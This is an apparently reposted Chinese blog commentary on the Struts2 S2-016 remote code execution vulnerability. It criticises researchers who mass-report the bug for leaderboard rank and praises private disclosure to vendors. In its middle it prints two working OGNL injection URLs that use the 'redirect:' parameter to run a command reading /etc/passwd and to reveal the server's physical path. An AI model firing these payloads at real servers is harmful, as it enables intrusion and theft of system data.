写文章先吐槽一句:一不懂java,二不懂linux,玩毛的struts2?
在写这本博文之前就做好了被喷的准备,不过没啥。因为我相信,这文章,也是很多人想说的。
========== 吐槽文 =========
Author:blackeagle
From:HUC //cnhonker.com | 网络尖刀 //mcbang.com
Blog:www.blackeagle.name
技术支持:苦逼司马
====== 欢迎各种媒体转载 ======
今早打开QQ空间看到空虚浪子心大牛推荐他的struts2修补方案,就预感到struts2框架又出问题了。
随即看了看乌云社区,果然:
http://zone.wooyun.org/content/5159
简述:这是一个通过action参数运行java代码远程执行命令漏洞
影响范围:通杀Struts2(Struts 2.0.0 – Struts 2.3.15)
解决办法:update(官方有推荐,不过笔者更推荐空虚浪子心的方案。)
漏洞说明:(来自google翻译)
Struts 2的DefaultActionMapper的支持短路导航状态变化的方法前缀参数与“行动”或“重定向”,随后由所需的航行目标的表达。该机制旨在帮助附加导航信息的按钮在表单。
2.3.15.1之前在Struts2中的信息后,“行动”,“重定向”或“redirectAction:”没有正确地过滤。由于上述信息将被评为OGNL表达对值栈,这引入的服务器端代码注入的可能性。
以下两个poc来自apache官方:
http://struts.apache.org/release/2.3.x/docs/s2-016.html
http://struts.apache.org/release/2.3.x/docs/s2-017.html
再加上:
http://www.securityfocus.com/bid/61189/exploit
就感觉exp就出来了
rush一下,果然:
Struts2 s-016 Working EXP:
http://www.xxx.com/x.action?redirect:${%23a%3d(newjava.lang.ProcessBuilder(newjava.lang.String[]{‘cat’,'/etc/passwd’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnewjava.io.BufferedReader(%23c),%23e%3dnewchar[50000],
%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),
%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
cat physical path EXP:
http://www.xxx.com/x.action?redirect:${#req=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),#a=#req.getSession(),
#b=#a.getServletContext(),#c=#b.getRealPath(“/”),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.
HttpServletResponse’),#matt.getWriter().println(#c),#matt.getWriter().flush(),#matt.getWriter().close()}
后来就各种工具都有了:
随后引用苦逼司马测试msn的截图:
事情大概就是这样,结果据说今天wooyun被刷了上千个struts2命令执行的洞…
笔者说想的是:
1、玩漏洞的:自重吧。还是那句话:一不懂java,二不懂linux,玩毛的struts2?
2、刷乌云rank的:自重吧。刷一两个、两三个,过过瘾就可以了(不隐瞒 笔者今天也挖了两个)。做事嘛,适可而止即可。学学园长,在乌云社区发的图可以看出都是在自己搭建的环境下测试的,笔者特意看了一下提交的漏洞,却没有一 个都没有提交。还有写工具的人。这些精神才是值得众多大批量提交此漏洞的白帽子学习的。
3、厂商:今天在道哥在黑板报也说了,开的7个会也是针对这个问题的应急处理。笔者觉得,厂商在得知struts2框架漏洞之后应及时发布公告及做升级工作,从而减少在乌云被白帽子刷rank。
此事之后反应出四种人:
1、笨的人说:大家快去乌云刷rank啊…刷rank!
2、一般的人:刷毛rank啊,SB白帽子,看我拿shell,放后门。
3、“聪明”的人(包括黑产牛等等):搞那些做甚?!脱库脱库!有钱才是王道!
4、而真正的白帽子:默默的主动联系厂商或私密联系相关人员,告知漏洞存在,及时协助修复漏洞,捍卫网络。
此文仅作娱乐,只针对事不针对任何人。现实就是这样,笔者我也是说说大家的心声罢了。
事情就是这样的。喵~
转自 黑鹰的博客
原文链接:http://www.blackeagle.name/archives/1343
事情就是这样的。喵~
膜拜前辈 。。。
本人菜鸟一枚
真心比我好